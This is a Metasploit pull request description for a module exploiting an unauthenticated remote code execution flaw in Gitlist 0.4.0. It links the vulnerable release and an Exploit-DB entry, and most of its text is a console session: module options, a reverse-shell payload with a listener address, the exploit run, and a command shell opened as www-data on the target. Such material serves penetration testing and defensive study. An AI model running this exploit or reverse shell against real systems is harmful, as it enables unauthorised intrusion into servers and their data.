rapid7/metasploit-framework — pull request #3485 by brandonprry (2014-07-01 01:14:31+00:00)
Title: Gitlist 0.4.0 Unauthenticated RCE

You can get the vulnerable version here: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz

Exploit-DB: http://www.exploit-db.com/exploits/33929/

```
msf exploit(gitlist_exec) > show options

Module options (exploit/linux/http/gitlist_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.17 yes The target address
RPORT 80 yes The target port
TARGETURI /gitlist/ yes The URI od the vulnerable instance
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.31 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic Targeting

msf exploit(gitlist_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DeVoMBnLnS3Tckfm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "DeVoMBnLnS3Tckfm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.17:32876) at 2014-06-30 20:13:14 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```